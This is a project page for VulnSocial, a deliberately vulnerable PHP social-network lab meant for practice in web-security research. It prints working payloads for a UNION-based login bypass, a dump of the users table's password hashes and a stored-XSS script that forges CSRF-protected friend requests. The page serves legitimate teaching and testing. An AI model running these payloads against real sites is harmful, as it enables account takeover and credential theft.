Skip to main content
WorkProjects

VulnSocial

Intentionally vulnerable PHP social network for hands-on web-security research

stable
View raw

A deliberately broken Twitter clone running on PHP 8.2 + MySQL 8.4, packaged as a two-container Docker stack. Three textbook web vulnerabilities — UNION-based SQL injection in the login and search paths, a stored cross-site scripting sink in the post timeline, and a documented CSRF boundary that collapses once the XSS lands — sit inside an otherwise well-defended baseline so the breakage is targeted rather than ambient.

What it is

VulnSocial is a small, self-contained playground for practicing exploit development, secure-coding fixes, and writeups. Close enough to a real codebase to be interesting, small enough to read in one sitting. Every other state-changing endpoint is CSRF-protected with a per-session hash_equals token, every other DB call uses prepared statements, every username display is htmlspecialchars-encoded, and passwords go through password_hash + password_verify with bcrypt. The breakage is surgical — the same primitives present in the safe paths exist on the unsafe paths, just misused.

The webapp implements the canonical social-network feature set: signup, login/logout, posting a status, search, follow/unfollow with bidirectional friend semantics, profile pages, and a friend-request inbox.

By the numbers

MetricValue
Containers2 (PHP 8.2 + Apache, MySQL 8.4)
Vulnerabilities4 (2 SQLi, 1 stored XSS, 1 CSRF-via-XSS chain)
Defenses left intactbcrypt, prepared statements (everywhere else), per-session CSRF tokens, HttpOnly + SameSite=Lax cookies
Exploit driver150-line Python (requests + beautifulsoup4) — full chain end to end
Documentation9 long-form docs (architecture, threat model, exploit playbook, hardening, API, schema, dev loop)

Architecture

Browser  ──HTTP :8080──▶  webapp container        ──mysqli :3306──▶  db container
                          php:8.2-apache                              mysql:8.4.8
                          session + CSRF mint                         init.sql seed

Two containers on a single bridge network. The webapp talks to MySQL by service name (db). The DB is not published on the host — only the webapp on :8080.

Vulnerability catalog

IDClassLocationSinkSeverity (sandbox)
V-1SQLiwebapp/db/functions.php:44checkUserAuth() — login, UNION-basedCritical (auth bypass)
V-2SQLiwebapp/db/functions.php:90filterPostsByContent() — search, UNIONHigh (full table exfil)
V-3Stored XSSwebapp/components/post.php:7<p> post body, raw echoHigh (persists to every viewer)
V-4CSRF-via-XSSwebapp/actions/get_csrf_token.phpSame-origin token oracle reachable from V-3Chained — collapses CSRF defense post-V-3

The exploit chain

The included script.py runs the full attack end to end:

  1. Register a fresh attacker_acct user.
  2. Log in as admin via UNION-based SQL injection — synthesize a one-row UNION where the third column is a bcrypt hash of a known password the attacker provides at the form level. num_rows == 1 and password_verify both pass; the handler sets $_SESSION["userID"] = 1.
  3. Dump every (username, bcrypt_hash) pair to db.csv via the search endpoint's UNION sink.
  4. Plant a stored XSS payload in a post body. When any logged-in user views the timeline, the payload silently fetches a same-origin CSRF token, then issues an authenticated send_friend_request POST on the viewer's behalf — friending the attacker without consent.
# V-1 — login as admin
username: ' UNION SELECT 1,'admin','$2y$10$edpOw5BKReEYXiGNpv9coOIhLWxlsAY4IY0yBQPTG.u4KYYfZpXtC' -- -
password: pwned

# V-2 — exfiltrate the users table
search: %' UNION SELECT id, id, password FROM users -- -

# V-3 + V-4 — stored XSS that drives a CSRF-authenticated friend request
<script>fetch('/actions/get_csrf_token.php',{credentials:'include'})
.then(r=>r.text()).then(t=>{const me=document.querySelector(
'a.btn.btn-primary[href*="profile.php?user="]').href.split('user=')[1];
const fd=new FormData();fd.append('from',me);fd.append('to','2');
fd.append('csrf_token',t);fetch('/actions/send_friend_request.php',
{method:'POST',credentials:'include',body:fd});});</script>

What makes it interesting

  • Targeted breakage, not toy breakage. Most "vulnerable apps" are vulnerable everywhere, which makes them useless for studying any one bug class in isolation. VulnSocial fixes everything except the four bugs in scope, so the surrounding code teaches the right pattern by contrast.
  • The CSRF chain is the lesson. A per-session token stops blind cross-origin CSRF cleanly. It does not stop an attacker who can read the same origin via XSS. V-4 is documented explicitly so the takeaway is structural, not "CSRF tokens don't work."
  • The bcrypt UNION trick. V-1's payload puts an attacker-known bcrypt hash in the synthetic UNION row, which means the password_verify gate after the SQL parses passes. It's a cleaner illustration than the usual OR 1=1 because it survives realistic auth code that demands hash verification.
  • Defense-in-depth audit. Every defense the app does keep — bcrypt cost, hash_equals for CSRF comparison, mysqli_real_escape_string on the safe paths, HttpOnly cookies — is documented alongside the bugs, so the writeup doubles as a guide to what the correct patterns look like in legacy PHP.

Stack

LayerTechnology
RuntimePHP 8.2 + Apache (php:8.2-apache)
DatabaseMySQL 8.4 (mysql:8.4.8)
Drivermysqli with both safe + unsafe paths present
Front-endBootstrap 4 + jQuery (CDN, no build step)
Authpassword_hash + password_verify (bcrypt)
SessionsPHPSESSID, HttpOnly, SameSite=Lax
OrchestrationDocker Compose (two services, one bridge net)
Exploit driverPython 3 + requests + beautifulsoup4

Documentation

The repo ships with nine long-form docs covering container topology, the request lifecycle, the session/CSRF state machine, threat model, byte-level payload derivations, patch-level hardening with diffs, the full HTTP API, the database schema, and the dev loop.

Safety notice

VulnSocial is deliberately exploitable. It is not safe to expose to a public network or deploy with real users. Run it locally, read it, exploit it, patch it, tear it down.